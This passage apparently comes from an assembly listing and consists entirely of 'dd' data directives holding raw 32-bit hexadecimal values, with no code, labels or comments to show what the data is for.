		dd 0F3732D77h, 10032E80h, 0B6BA724Fh, 0D240C4F1h, 45E96B59h
		dd 0F150F186h, 100F39CDh, 2AD0FFC2h, 6592E44Ch,	68A49408h
		dd 4BD07C99h, 68A493F5h, 0BB6F0641h, 0B0AF1831h, 0DA9E99CEh
		dd 129620CCh, 0F4B73CDCh, 0FD961E4Ah, 9D58E444h, 5C928C23h
		dd 0D7DD4405h, 0E8CB1BA3h, 4B0AA87Bh, 9EB13A2Eh, 0D59099FCh
		dd 0A419A855h, 7DA51CD7h, 2C6AAD8Dh, 0D1411642h, 0B5D33151h
		dd 27914541h, 5F5CF00Ch, 6873C266h, 0F62D70DCh,	57B7012Dh
		dd 1E5EB14Dh, 3069587Ch, 8A1A377Eh, 0D87966EFh,	0A5D2A2FAh
		dd 68A20877h, 369C86F0h, 462B686Ah, 94D9AB47h, 3FF8FD92h
		dd 3C349DBEh, 48411955h, 0B2033140h, 0D62A4684h, 0D6CAE713h
		dd 51A6EECFh, 10F4EDF8h, 57349EC7h, 0D83B6580h,	0C2314FAh
		dd 7217640Eh, 0C1B1B9A5h, 88103CCAh, 0AE6E4F58h, 0B26DEF19h
		dd 0CBDCA6BCh, 40AB502Ch, 0B1DC4EDFh, 616275C0h, 6B025BFEh
		dd 0A56FD9F0h, 67F6C22Ah, 0B1FA57D0h, 3C0C5A40h, 26E4275Dh
		dd 6BCEEE44h, 0D2D2B005h, 0EC572518h, 5A24B4CAh, 0C2813C1Ch
		dd 0A75607F8h, 6DAECE0Dh, 4EDB8F0Ah, 21EC3C8Ch,	2361804Fh
		dd 3F9BD2FDh, 0B2327955h, 6ED3019Dh, 0C7864571h, 591D1C61h
		dd 0C3D9640Eh, 6EF8CD3Ah, 0D7216F9Bh, 7FE41FA6h, 0B232791Dh
		dd 8CC3D862h, 50F9CFA5h, 68E32656h, 457B4408h, 0E680D3F6h
		dd 0F099773h, 7F2EC8ADh, 0BFD754Eh, 7CF636ADh, 7CD972AEh
		dd 3941E8B2h, 4C627698h, 0CFE5578Dh, 0D9E41328h, 0AA7D962Dh
		dd 260FAC51h, 6C532B34h, 22F2387Eh, 1A4A7232h, 0A7DA2D6Bh
		dd 0A10C2F66h, 63B2F4C1h, 0CD40883Dh, 15ED9065h, 0C8C2F98Bh
		dd 1D97C11Dh, 92BBF73Ah, 95314922h, 0E9BAF7E7h,	9F2E8B2h
		dd 841DBF51h, 709ED562h, 0E860908Ch, 34A48DCEh,	0F4BD6A1Ch
		dd 0DA4C615Ch, 0C07D962Dh, 705651D7h, 7AD433A4h, 85BC44D2h
		dd 78C57A46h, 0B3A342DDh, 0D8C6AFE8h, 361EA2E3h, 0F1F5A0D9h
		dd 58025767h, 4AB0502Bh, 0AA4759DFh, 31BE6F6Eh,	824C6196h
		dd 0A81D5D0Ah, 2E934C9Dh, 71EA1409h, 51A55B3Ch,	8B72C717h
		dd 644D8394h, 67E32297h, 844F46D0h, 27D19F8Ch, 6ECECD84h
		dd 63B24571h, 0D5DB143Dh, 0B5EFAD05h, 0D3F72686h, 45DEDB04h
		dd 48C245F6h, 0AD073A8h, 1D7D53BAh, 3F78003Ah, 0CC87F0C4h
		dd 129A74BEh, 5C5ED493h, 0F3A3006Fh, 28565338h,	0AAA9E8Bh
		dd 1F2E89BAh, 58693B91h, 0BBEE0F90h, 7ADD3CF7h,	67DE56EAh
		dd 0C9C016F4h, 0BB95C142h, 9F54FD04h, 0E3AD338Bh, 0CAC77FE1h
		dd 76E555FEh, 81390C55h, 2511147Dh, 0E5D4D159h,	44AEA4E6h
		dd 0A38EF30Ch, 0D9AA2F6h, 6EF8CD3Ah, 0A91F6D9Bh, 67DECDDBh
		dd 2FFCC8D0h, 0A5D85428h, 1E8F93A6h, 0E02C16DBh, 6D356570h
		dd 0B23279C7h, 0C2398198h, 851D9E11h, 7403E865h, 8DB107FEh
		dd 3E50E2C1h, 322C07FEh, 0BCF828FAh, 0CDDE4AD0h, 0C2BC7BC3h
		dd 8096161Bh, 312B93DEh, 0B232A709h, 0FE40B37Eh, 5E189162h
		dd 40C26515h, 0ECE2CC5Eh, 0B3B1BC3Dh, 54E3E2DCh, 888A3E77h
		dd 43FA876Dh, 0D58057C2h, 0CAD157D7h, 23219E95h, 4AAD70E9h
		dd 67DE4B62h, 6ED788ABh, 0A3017A10h, 0D57F9338h, 119E9DD9h
		dd 67DECCAEh, 0C56051D0h, 3702A6D4h, 0AF8A04E7h, 6BDE18ECh
		dd 648B5425h, 0C4DEF703h, 856BCE4Ah, 639767A2h,	6DD23D26h
		dd 0B8E59FF3h, 51FF3A09h, 0BEB03C8Ah, 2147A8BBh, 0C53718E3h
		dd 0FA12DE3Bh, 8F404AD0h, 24FB1EA3h, 1B68DD65h,	0B286A74Ch
		dd 0A04863B2h, 406F2B80h, 97622BD5h, 0FF1960E8h, 43889CB0h
		dd 2CA6DDCCh, 0F267A0A7h, 0F6EFB6D1h, 9585B293h, 8FF4D18Dh
		dd 5E953E0Eh, 0E8C12A0Bh, 67DE6C8Eh, 9585B1D0h,	0D9F4D18Dh
		dd 0C2D0A09h, 0B12C2FFBh, 19D61831h, 5D5B8FEAh,	7FA1971Dh
		dd 0BC874AD0h, 0B30439Bh, 0C1A7B324h, 182F822Fh, 549EA013h
		dd 9B4B5BD7h, 69B1BAC3h, 0BD80F379h, 0E40ADD17h, 0F896FDC4h
		dd 7803C3BCh, 30DBCFA9h, 13C5432Ch, 0FAB1BC2Bh,	75791AD7h
		dd 0B3788BCFh, 4E7DE270h, 9750064Bh, 41363836h,	7953BAC5h
		dd 295CC827h, 0BF76D433h, 0E8C12B30h, 67E045B3h, 296052D0h
		dd 542D685Dh, 773CC877h, 0F16BC143h, 0D648E06Ah, 59ACF78Ah
		dd 542D77CDh, 0BA0CF877h, 117D4F17h, 84AE41BEh,	58FB1D7Dh
		dd 78A06899h, 8F26E43Eh, 0DDB894A5h, 68B73F6Fh,	8CC73D26h
		dd 319E2FFEh, 0C3CE621Eh, 69518108h, 0A2063D26h, 5208301Ah
		dd 45AB5064h, 7CE9C597h, 0A5DE1D51h, 0D578EF8Fh, 0AFBD39D0h
		dd 4524E280h, 0D0B909F6h, 9BEE07F9h, 62083FECh,	541E6A9Ah
		dd 0FA62FD46h, 0D807555Bh, 1523A71Ah, 46101A65h, 0E9F14C56h
		dd 0B26FF1B4h, 0E8A01B65h, 3C9AE47Dh, 5D3AFCF9h, 96F4E2E9h
		dd 0D249F240h, 0D578D4C4h, 4FCB4A55h, 0D578D4C5h, 0B5B94391h
		dd 0E96F059Fh, 89FD98ABh, 3D84EA89h, 3A555100h,	158E33A5h
		dd 0E0FDAEF5h, 50EFABC4h, 2FB4CF55h, 37EA5AFh, 5FB93EC8h
		dd 0DBEFABC4h, 9BB2617Dh, 67263D26h, 7FC7E08h, 9BEFABC4h
		dd 1B8796BCh, 0B2329A2Ah, 2EC8AFAFh, 0C0257545h, 0FDDC41D5h
		dd 8C8AF0F8h, 9ABB25A5h, 0E7808769h, 70CCA3F9h,	9184FEEFh
		dd 149FDB91h, 1451180Dh, 231A2C75h, 0D253F8BFh,	0B0A42CF8h
		dd 73728FC9h, 0D57FA85Eh, 0E15BA3B3h, 6313AC01h, 45E33CF2h
		dd 0BA7E4FF6h, 46B444D7h, 7F87CFC0h, 96C94AD0h,	0D249F240h
		dd 0D57FA204h, 0CFF28A95h, 45E0B733h, 1E6F1F6h,	86657880h
		dd 139C9BE7h, 45854E17h, 0E44B3CF6h, 40902E84h,	77651086h
		dd 8E2DFB33h, 84C597F0h, 67DE4A6Dh, 0C55F70C6h,	8EA8363Bh
		dd 0A52C8276h, 0BFCE59EAh, 2A7C1AF1h, 546C095Ah, 62B15577h
		dd 304B265Ch, 60C606BDh, 546C2EC0h, 9C027F77h, 0B2328029h
		dd 0FD2A92DEh, 2CCA9ED6h, 0C64BBF79h, 0E9629AACh, 420FECF3h
		dd 0BE5556Eh, 4F8C6E2Eh, 36B1BB19h, 0CC5EDCF6h,	0F80EA352h
		dd 0D57ED732h, 0CD77A7A7h
		dd 5492AB58h, 367EFF45h, 36941A9Eh, 0ECA7DE23h,	0A8E2F2B9h
		dd 45371EF0h, 245A5CBBh, 0F6684AD0h, 0ECC296DBh, 39793FDh
		dd 9B2B5EE4h, 7FA91CA5h, 2896E438h, 0D7E932EDh,	1FDCA955h
		dd 5BB5E568h, 650F2764h, 5AD0599Fh, 8EEFB73Ch, 37BAA4Bh
		dd 9743670Ch, 79893069h, 0FDE090B2h, 0B2327937h, 83161228h
		dd 61B95159h, 3C0A5C46h, 58693B91h, 249AD2FDh, 0E4B1BC3Bh
		dd 19292C31h, 0D8FF4C24h, 62AFA7D8h, 4445F3C7h,	0C55F8009h
		dd 40457962h, 0E40ADD24h, 0A187D2C4h, 0D69339FFh, 95F7529Bh
		dd 1C18721Ch, 47B1BB4Ah, 42D7D2A8h, 545C2DD5h, 552C635Ch
		dd 0ECA7B377h, 0F65EF14Ah, 8F03494Fh, 10C29A20h, 0B24EDEE4h
		dd 1EFAC53h, 349187ACh,	657F8E7Ch, 1598FAE9h, 0F628FA26h
		dd 6DEFAC06h, 0FD727C0Ah, 4DEFAC06h, 442BDCDEh,	501595CCh
		dd 7F875CC0h, 96BA4AD0h, 0CF49F240h, 0C79348BBh, 0B232798Dh
		dd 0D99A2832h, 8117A9DCh, 0D8C43BC5h, 0D578C42Eh, 7C6792DEh
		dd 0D578C2C2h, 6E08E636h, 0EF96D92Eh, 67DEC4B1h, 0E2B6B7D0h
		dd 66D1842h, 355F7FD8h,	0BA0C971Eh, 0D0E4F3C2h,	0B23278BAh
		dd 0B46E75Fh, 8891F46Fh, 0C675C46Dh, 1FBAFD3h, 2ECE0C66h
		dd 0D283F345h, 2F8F5BDAh, 87B6E5F0h, 0B755E492h, 5428451Eh
		dd 1AB5E177h, 5427998Ah, 37820577h, 11F91ED2h, 6334571h
		dd 108BFEB9h, 0D49EDA8Bh, 0F2510927h, 120BDF6Ah, 11C4DF9Ah
		dd 0F19C4571h, 0E4D70E3Ah, 5299DDE8h, 16EFACCAh, 32EA2E33h
		dd 0BBE56931h, 0C6970735h, 0B268AE1Dh, 7CC7D862h, 1CE218BDh
		dd 0B02D6436h, 7E568685h, 26AE41BEh, 0B83F0EF6h, 3D4F0727h
		dd 6DE4ACBh, 948F6A0Eh,	0D6A63884h, 0F164B39Ch,	7EC0807Ah
		dd 0A89846BBh, 244B2847h, 93C8EF45h, 7763B82Dh,	10A13389h
		dd 9EFD7E56h, 0D5819934h, 622BD9E5h, 9871B3ACh,	24695DBCh
		dd 8DA3B7F1h, 7EBD3D3Eh, 0A9E446BBh, 7F403373h,	35C04571h
		dd 6F80B648h, 3908ACB3h, 9A6E23D7h, 0DEA38E95h,	23EFFB86h
		dd 17BC7C84h, 17B8574h,	36DECCCBh, 73223D27h, 374C1641h
		dd 320A3D27h, 0A04F3B39h, 0E58AFB33h, 37DE4AD0h, 0B10554D3h
		dd 25CCF1A2h, 9053F9FFh, 84231988h, 0F78F2C46h,	10A13389h
		dd 83831FFAh, 7227A651h, 1F4B4571h, 0BE138881h,	0A062610Eh
		dd 3A8A32DCh, 0B2328501h, 0D441671h, 465147F4h,	569CE7F6h
		dd 27D19F8Ch, 4F522E84h, 43A299B0h, 0B26DD39Dh,	645992E2h
		dd 24B1B909h, 0A8A3EAF1h, 27FEBCBEh, 9A0E8876h,	6CE6A86h
		dd 7FD5A648h, 1A344AD0h, 0A09DA9EFh, 476477B1h,	5E37F3C8h
		dd 1BF4BFB9h, 0FC6186ACh, 0E3E09EE1h, 4C3D9574h, 4001419Ch
		dd 0D0B98249h, 9E94FCC3h, 22EFB763h, 37C4697h, 6E8170B8h
		dd 164571h, 930A82D8h, 6F476611h, 9C374571h, 53D2AEA9h
		dd 0B23278B9h, 5E94C34Eh, 0C55F8050h, 433B5A3Bh, 0E4752B48h
		dd 7D16876Fh, 6C624B55h, 5CB1BC3Bh, 0DE7C2FE9h,	62EFB729h
		dd 6145F3C7h, 0D5C4B105h, 0F9DD994h, 49428A80h,	9E17419Dh
		dd 39EE39h, 66D2B059h, 2CFFCECCh, 0A395F2D1h, 0D04AA27Ch
		dd 3B081328h, 6F88395Fh, 0DDEA4E3Fh, 6B6871CFh,	0A0BF15F4h
		dd 0D4DEAD55h, 0CBDCA356h, 8C23882Ch, 0AD7C94CFh, 5E1D5CDEh
		dd 35C05B0Fh, 0FAF83548h, 6EAE3BBFh, 7CE71D64h,	510DA9C0h
		dd 67DD9D39h, 9C027FD0h, 7CE71D29h, 0BA6B92D9h,	27C6F10h
		dd 341185A7h, 6A436799h, 7D634778h, 290823D4h, 0B5BE8B3Bh
		dd 18E1F522h, 0AD825677h, 8D9CB4E2h, 36181708h,	0F20CEC54h
		dd 871B8014h, 3EDFC00Bh, 215D5772h, 0ABB8BE84h,	0A4A4BCCBh
		dd 5373566Eh, 0A74E6E8Ch, 67E25570h, 83794AD0h,	78DE4AD0h
		dd 0A709B72Ch, 0A6A6B5C4h, 8333C94Dh, 0A4DE4AD0h, 9B735675h
		dd 2B756E8Ch, 0FAB0328Ch, 9B77577Dh, 8322CB8Ch,	9BDB12FCh
		dd 67E2964Bh, 4E564AD0h, 0A6DE4A84h, 0BF0EB5C4h, 9BDB1458h
		dd 0FEB91196h, 67DE5606h, 8318C9D0h, 78DE4AD0h,	0AD09B73Ch
		dd 0A713B5C4h, 831CC972h, 0A4DE4AD0h, 73735612h, 0F7D56E8Ch
		dd 0B2DBC435h, 1768D124h, 0F8267187h, 47DB9601h, 51AD7C75h
		dd 9E5906D6h, 88115EF0h, 6554AC79h, 9623CEB7h, 0F9B65745h
		dd 3B6D695Dh, 4A4CAC60h, 7F9A246Eh, 0B1307611h,	6A53470Ch
		dd 0B15202B1h, 0DBF85B2Bh, 0AFB01197h, 9D6DF993h, 400652E4h
		dd 2B2CC549h, 67DD9E78h, 0E63AA9D0h, 1E89FBB0h,	59B1C8F1h
		dd 0EB0677E4h, 8776386h, 8D458B4Bh, 53D54AD0h, 0DEDE4AD0h
		dd 0B788A251h, 54C0BB1Ah, 60A35DF2h, 97CB9CABh,	0F204B2FDh
		dd 67DE4AD0h, 1323C8F2h, 51F2CECDh, 0F5D56203h,	0E8DE4AD0h
		dd 0FE260521h, 5D12AF21h, 1D15A934h, 0C7C721Eh,	461DC8C4h
		dd 0FEB132CCh, 54D0D073h, 8262A038h, 0D9DE4AD0h, 0AE96C750h
		dd 0ABF3B150h, 4FD577F0h, 55DE4AD0h, 22CD0FDAh,	11384C68h
		dd 0CF5A9AC2h, 0A69F85B4h, 4FD87BD4h, 0E7DE4AD0h, 134E3732h
		dd 65E7C489h, 6C64EFA6h, 0F1538E17h, 67C29993h,	9AFDC04Bh
		dd 1E446A5Ch, 0B95D4397h, 0DFB18CDFh, 224703E7h, 0D2B2D04Bh
		dd 34BD005h, 67DE4B63h,	67DDC9D5h, 6AA4AD0h, 67DE4B2Ah
		dd 9C77DF40h, 528D4F7Ah, 0AEAAB81Bh, 5D069F77h,	30DB6673h
		dd 0CB53A605h, 9158A449h, 0A222236Fh, 7A89A16Eh, 0DDD361C8h
		dd 29h dup(0DD89A178h),	791D4C78h, 0E8A1A173h, 84BFBA62h
		dd 0DD943E5Ah, 35F8699Bh, 0EAB44C7Ch, 63A1A1A1h, 84BFBA28h
		dd 0DD943E7Eh, 35F7BE9Bh, 0EB404C7Ch, 4A1A1A1h,	84BFBA5Eh
		dd 0DD943DF2h, 35D9D99Bh, 0EA9C4C7Ch, 0AAA1A1A1h, 84BFBA2Ah
		dd 0DD943E96h, 3589189Bh, 0EA884C7Ch, 5B20A1A1h, 511DBE18h
		dd 4AEBE49Dh, 7164D232h, 8D73FCD5h, 81022DF9h, 73790E0Eh
		dd 9F4BEB42h, 2CC0BBE1h, 32C2D05Ah, 1FDA5706h, 7E2CA10Eh
		dd 0BAA9E353h, 8FCC03FAh, 262736CBh, 98652117h,	752C9B16h
		dd 0D962FEEEh, 0DB3A0A02h, 84C144C7h, 3B177BA1h, 0BBD21EF9h
		dd 5EC8A0D7h, 1093780Ch, 2C4A0340h, 0DD89A52Ah,	86D523E1h
		dd 37B66F6Fh, 0D0BC7B6Ah, 0BD45462Bh, 0D391C75Dh, 0BE587630h
		dd 902C9B6Dh, 31E2D988h, 0FD83A997h, 952C9B6Dh,	0AB4087DDh
		dd 3A4A0218h, 0DD89A3B9h, 7F9E8397h, 0D3AFDD4Eh, 99816A5Fh
		dd 0EC0FBDB3h, 3BF0E6BFh, 6C0F1392h, 2D50BAAh, 60D34F58h
		dd 7AD47ED6h, 62C3095Ch, 76FF1C73h, 0FF050E48h,	0F5E2E7E6h
		dd 0E02D7ED1h, 0B6E114ABh, 90F9E749h, 6C9F784Eh, 7AFFDE29h
		dd 0A2FE1C65h, 48A7ACCh, 6885776Ch, 0BA29CD3Eh,	14AB195h
		dd 67572E50h, 9D736EC9h, 0B952D444h, 0BCF88D18h, 1CF5E731h
		dd 0A2348B29h, 0B220E776h, 0FC07F8CAh, 7318A173h, 3A15E73Bh
		dd 92638D5Eh, 0D95CF9DAh, 0D62C2202h, 0D859D866h, 0F3F0F5BBh
		dd 27C3B2AAh, 54B8C449h, 1119B877h, 32BEAEh, 62CA109h
		dd 3CA98B00h, 0E3710500h, 79435ED0h, 0AE34FDF8h, 0AB0B3596h
		dd 587FAD68h, 0AC2C9B12h, 37BDCCDAh, 0C4CA7B6Ah, 365FCFAFh
		dd 2EBF93E6h, 11976539h, 0B3AEE955h, 0DA9FA7C6h, 0A96DCEABh
		dd 0CC690EC0h, 0B3249F1Fh, 648FCEC6h, 0F70C4BBBh, 0DC1FA029h
		dd 0FC32A178h, 622B2F94h, 558D7B0Bh, 0AAE2DB22h, 260BD4C8h
		dd 0D27A5ACh, 13B29F09h, 0B80E4A1Fh, 70549896h,	3EDB7BA1h
		dd 0AC15CFF6h, 881C4C6h, 1DF3EF0Dh, 81D253B9h, 0E1AA9832h
		dd 0AEBB0143h, 80F1908h, 0D3C05550h, 66DA9592h,	4F0B7BC9h
		dd 7AD74B51h, 0CC8C2730h, 0F314831Dh
		dd 3EDB81BCh, 9D2FE909h, 96A42950h, 7415E2E3h, 0C15B94CAh
		dd 0F774C44Ch, 0AC887B80h, 61A9F772h, 3429F32Dh, 0F4A33E7Ch
		dd 5480A1B8h, 0DDC2BD73h, 0E85EBB78h, 22F8EDA8h, 0D3AFD452h
		dd 0DAEB0177h, 87BD2C1Fh, 6FCF8A89h, 0F4578545h, 26A6ACA0h
		dd 339F9EDDh, 467AC82Ch, 3AA1AEB4h, 20857B74h, 18678E85h
		dd 1393B69Bh, 0E00F0B7h, 0ED1F7ED6h, 0B6E70AABh, 4E17F49h
		dd 96463165h, 0F52D5DCEh, 0D2401E6Eh, 8EF9CC9Eh, 0A6372510h
		dd 0EAF74DCEh, 2231A77Fh, 2124F122h, 0F2CFCE75h, 0D327C48Bh
		dd 8BA65BDAh, 6A2CA113h, 53C7AE23h, 0F68D3248h,	85EBCC03h
		dd 0C97B7167h, 4433A3E7h, 279E8104h, 0F80B7356h, 2EB0D6Bh
		dd 62CFF2DAh, 0AE1AF2CDh, 286B9620h, 80417B73h,	3256CBA5h
		dd 0F2D8F4B0h, 0D0CB76C2h, 475C262Bh, 83C48339h, 54CDDDD8h
		dd 0B9A9B2E2h, 0B0CA09AAh, 6FAD0FDAh, 6DE1D68Bh, 7BCADF2Eh
		dd 3091B42Ah, 0E75930B7h, 0DB9D30A7h, 9CCB1574h, 0B952EA64h
		dd 5A3AB548h, 0DD3E1DB2h, 0D1D441A2h, 0FD64950Dh, 0E9F46A64h
		dd 86171620h, 17AEDABEh, 0C50F5EC3h, 1C8D4BFCh,	137DC7BAh
		dd 0F1FB1817h, 0FED459C5h, 1BD632A9h, 4B38A709h, 9589A17Bh
		dd 7D5085C0h, 26A6AC1Ah, 57A39A71h, 5E6BC52Dh, 30E7E8CFh
		dd 0B3CFFDC6h, 7BE6A071h, 1F57E0h, 678B994h, 2E52A882h
		dd 6F4F4CB6h, 0F975BEBBh, 0DBE61253h, 6F4F4311h, 0C7F54245h
		dd 0D08EFBFAh, 890E7413h, 87702EEh, 6FB12B04h, 542C9C5Dh
		dd 2D2297F5h, 2AD84C5h,	0D96D276Bh, 0D5665931h,	2BBCDDCBh
		dd 79B1298Bh, 6C80D0F7h, 476EC78Ah, 707FC434h, 7F77905Eh
		dd 2AC386CCh, 0A104AE21h, 0A6972CDDh, 1BE6134Ch, 0E25844F0h
		dd 8B036E1Eh, 79461C7Bh, 15493320h, 4D41FD4Dh, 0FCD2C65Fh
		dd 6E83FE30h, 89F380B6h, 0CA55314Ch, 0A7D058Bh,	6FB2B509h
		dd 0C6C84AC8h, 0A2219182h, 37A20836h, 192C5F64h, 0A13DCD90h
		dd 9B5C15A5h, 75D7914Bh, 0D41AEDD2h, 0BB9AFACEh, 93357257h
		dd 7CEC5A72h, 0F8F8861Eh, 144A0BA4h, 0A6B1B4BAh, 0B0F543CDh
		dd 6FB25688h, 46B1D74Eh, 467C9844h, 0FFEAB322h,	468BFACDh
		dd 5A9C814Eh, 0F90D649Bh, 6FB24AFCh, 3C80E36Ah,	6FB24A4Ah
		dd 0DAA759E8h, 0B785C8F0h, 79B1C179h, 14327ED2h, 50972DD7h
		dd 470A5059h, 936AFA3Dh, 61206E3Eh, 0FD1547A0h,	0CC48FE30h
		dd 0DDAD256h, 0F5E18376h, 78402C52h, 0DC97BA5Eh, 119EFE2Bh
		dd 0DAE5CA4Dh, 47097F23h, 0EFEE3504h, 883EF35Fh, 97BBF402h
		dd 0A7D575C6h, 79E3F063h, 8B0620D2h, 60451C7Bh,	36747453h
		dd 77497977h, 16F920D2h, 4C6DBE84h, 0B81947BDh,	4324E126h
		dd 0B8610718h, 34E10953h, 0CBFD7FE4h, 0BAA1764Bh, 4A75FAFBh
		dd 3D442258h, 35E10BFCh, 0B1303C08h, 0D506491Eh, 0BEF8B376h
		dd 0ED6BB97Ch, 3D95AE0Bh, 0C6BEF5D0h, 0B018327Fh, 0CBEB1689h
		dd 98FF25F2h, 9852AEEEh, 0A58FD77Bh, 0B1515D42h, 96033B8Bh
		dd 0D5275FA8h, 38726761h, 0E0689614h, 0E668FE99h, 13BE20A7h
		dd 0CDB7E519h, 9BF38907h, 5BF420CDh, 22517221h,	4B7FA4CBh
		dd 99C854C5h, 0B5C6BF68h, 1164E39Ch, 0A3BB19D9h, 0AE4A2E4Dh
		dd 0C43C977Ch, 698DDBE5h, 1F4682DCh, 8E54206Fh,	56D19E1Eh
		dd 0D9FC8354h, 2A9A7E48h, 23541A93h, 3A2D75E5h,	3C9B783h
		dd 0AB0E1976h, 79E4CFC7h, 0D4B64AD2h, 0EB7BE8Eh, 3FA6E497h
		dd 0C6A1D12Ch, 0F33AF8CFh, 0DBC6D9F8h, 68E81594h, 13FB7B1Fh
		dd 9FF0AC4Ch, 0B31256B6h, 7B9A7E13h, 4C5CFAD2h,	1BC60334h
		dd 0F34216DBh, 0DAFC8B39h, 890D023Dh, 0D0270FEEh, 33864F7h
		dd 1691F7BEh, 91F6420Fh, 292D9F1Bh, 0BFA522DEh,	0EEFC8B04h
		dd 5A6A57D4h, 10866F84h, 9867617Ch, 46C1D6h, 147977B3h
		dd 79B1248Fh, 22FCA4BFh, 0CF76FEC9h, 0BB9620D6h, 0B748B6EEh
		dd 6FB938E0h, 18AFD929h, 46F10F01h, 0EE0B979Bh,	1C35BA70h
		dd 0C258A585h, 0B24BFA26h, 0FF4BA62h, 9B540666h, 7625E40Bh
		dd 287181F3h, 5B560BFCh, 79B249FEh, 33D2FCD2h, 0ACFDD296h
		dd 139AE50Dh, 0FE52B77Ch, 9C6BFB6Ah, 1D276F33h,	0B852BA25h
		dd 0B8D75753h, 0F0B56F46h, 6FB44026h, 0AEA7DD10h, 7520D07Ch
		dd 399969E4h, 0BDF75083h, 9F5425F2h, 88FA99AFh,	6014CAD7h
		dd 0DE96A285h, 0C4C41BA3h, 2265FD21h, 3535C8E9h, 486BA95Fh
		dd 1EFD15BFh, 2EDC34BCh, 4CA7A6FFh, 0F95220D2h,	6BE61253h
		dd 77DAA67Eh, 829A978h,	0D541A0Fh, 5AA30460h, 25C2FAFBh
		dd 0BEE2081Ch, 3C53C267h, 9A770913h, 646C717Eh,	102439ACh
		dd 6BE3B4BAh, 4215A57Fh, 69C60306h, 104D7F13h, 0E71A7339h
		dd 0B5235B60h, 0FA5E0AA4h, 53098704h, 0C3794D1Ah, 144A0BADh
		dd 0D8CC1252h, 7A6BAB79h, 0BE0104C8h, 0B86E5EFBh, 4C6DDC0Bh
		dd 0A34A951Dh, 229D86B8h, 0E2169C58h, 67D2346Bh, 6CE47AEAh
		dd 55ABB885h, 8D03F93Ch, 2A8C0994h, 0A349B05Bh,	0C89954B8h
		dd 3454D96Fh, 413AF2C3h, 8F712670h, 8E78E15Bh, 0BEF8D81Fh
		dd 0BCAC1154h, 41B33959h, 0E531A15Bh, 98699ECFh, 0CEE835C2h
		dd 6FB49DBDh, 7E2BDB92h, 0C2458A1h, 5F36B2B9h, 52BAD310h
		dd 82286D8Ch, 0D85BCA7h, 5ACD17E5h, 4A6D951Ah, 0D47CA1EEh
		dd 0B8E1EB20h, 0D33B149Ah, 0FCACED13h, 0B204FACBh, 9A3084E0h
		dd 0A0612DDDh, 749E7A54h, 8416965Dh, 0D0393695h, 94036691h
		dd 61FCD4ABh, 476EC6E6h, 4F6FF949h, 0F8CEF9C9h,	63712670h
		dd 0EAA25D31h, 0FF09FCCDh, 889C14CEh, 0B6B9508h, 0E23A4976h
		dd 0A808539Fh, 8ECAC103h, 0C319F99Eh, 2ADCB33Eh, 0CAB3148Dh
		dd 9AA25DDCh, 6D6A564Eh, 7FB0C6C8h, 5A8C5069h, 86B75E64h
		dd 0EB720F66h, 5FAAE7F1h, 9E7C13C7h, 3F4AFA09h,	0F057B2DAh
		dd 79B1D06Ah, 47311BD2h, 0F4A72CC2h, 48541A6Ch,	4F694929h
		dd 239961E4h, 0D308ECC3h, 4D6DFAC4h, 0D3815B79h, 0C606FAC4h
		dd 528534D1h, 4F78E207h, 0AEB120CDh, 0EF56DF23h, 0B5FC103Ch
		dd 0CE5429A4h, 299B7B4Ch, 51790053h, 860936A1h,	3F480ECh
		dd 2185D29Dh, 470A5BA7h, 0AA462252h, 7B5AA6EBh,	232B4AC8h
		dd 0F7DCBD02h, 5CB418D9h, 6691114Ch, 15F74C62h,	60F400F7h
		dd 44F98053h, 470A5B78h, 3005671Eh, 310C7236h, 11D5CCA0h
		dd 6FB431EEh, 0EA0D75E8h, 0B152B209h, 0C615B7D6h, 0BBE4D20h
		dd 4475370Bh, 0ADA10262h, 54436C2Fh, 332E6A04h,	5B0CD3D7h
		dd 6E6A0262h, 0FACCC054h, 2C65046Ah, 0D0979CE8h, 334F0528h
		dd 0F4466AD2h, 79B122D0h, 2CC19237h, 6AF86C5h, 37B8836Fh
		dd 3EB75E64h, 940346E7h, 0E0446D61h, 0FDD06C18h, 5B231467h
		dd 22988530h, 7143A05Eh, 794BDC1Bh, 0D5897320h,	0EE55DF2Fh
		dd 9762013Fh, 0C9CE2B68h, 9C5B98B1h, 0CE7278D7h, 4708C26Bh
		dd 139DEC9Bh, 0A526F4BDh, 0E2BB9FDCh, 61968380h, 6B85C5E6h
		dd 22FCA48Ah, 21DF9C9h,	9E3608ACh, 7F62E346h, 2FFC8A7Ch
		dd 0A95615D7h, 4B83E265h, 6FB47E0Ch, 0AB973F0Dh, 0A35425DFh
		dd 0A82EB6Ah, 92B0056Ah, 4CC002D5h, 65425A4h, 71F91B30h
		dd 7B71815Fh, 79B1230Eh, 1BC603DAh, 6FD75CA8h, 0FDD99B9h
		dd 0A8E1FE30h, 0E5B8C97Eh, 30449B47h, 5E82561Bh, 4F541A9Bh
		dd 0AEAA39EEh, 172F740Ah, 6FB945F6h, 0E914BDB8h, 1667905Bh
		dd 2EDC2BFCh, 0FA53C011h, 73D17605h, 67D6473Bh,	64F37B1Fh
		dd 43A2F905h, 0E95E3A27h, 0C59281C1h, 5F37F669h, 0AA366C7h
		dd 22F44676h, 0D18DBC17h
		dd 0F5A20BD7h, 379FE699h, 0A2338803h, 0B74861F5h, 785F4FE1h
		dd 1FF020D2h, 62D75E5h,	5F3B5C8Fh, 25F40984h, 2183B487h
		dd 24F1A4CBh, 0E0086560h, 931B6214h, 0C0903333h, 0A6B127ACh
		dd 0C40A4E98h, 0F25420D6h, 7CEC5AAAh, 289D7AEAh, 470A5F27h
		dd 7DD1149Ah, 3FA6EF1Fh, 70DAA05Eh, 106190C1h, 0FE52AEEEh
		dd 0B31DF89Fh, 88E8272h, 6134BB59h, 85134B53h, 6136DEE2h
		dd 0BB683606h, 5D8470E8h, 3B7ACF2Fh, 0A7E995Dh,	6F4F400Dh
		dd 51953DE7h, 0F554206Dh, 0F547CDD5h, 0B9D09D50h, 0CA75343Dh
		dd 0F0E04DAEh, 154137D1h, 927DDBF7h, 3670E0BAh,	0B38B3A1Ah
		dd 0BC4F0E5h, 828D4B64h, 0B31ED765h, 1B0078D1h,	1432C3FDh
		dd 0B9ACF56Ah, 0C85F4708h, 6F39491Eh, 39C9F661h, 0A3184024h
		dd 0F1592ED3h, 13EF7841h, 66B120CDh, 0D122A362h, 8D0EBCC3h
		dd 468AC7AFh, 10232352h, 0EBFD12C6h, 6A53F4EBh,	0B193D313h
		dd 56C62743h, 0F0E3D787h, 6B6E400Dh, 1803FC91h,	8C97E9A5h
		dd 60AC054Ah, 0D13CB1DDh, 48CC20EEh, 0F619D976h, 7709427h
		dd 0E22D03A5h, 0ABAC0568h, 0F62C8C52h, 0E1A97CB9h, 0E22CCCDEh
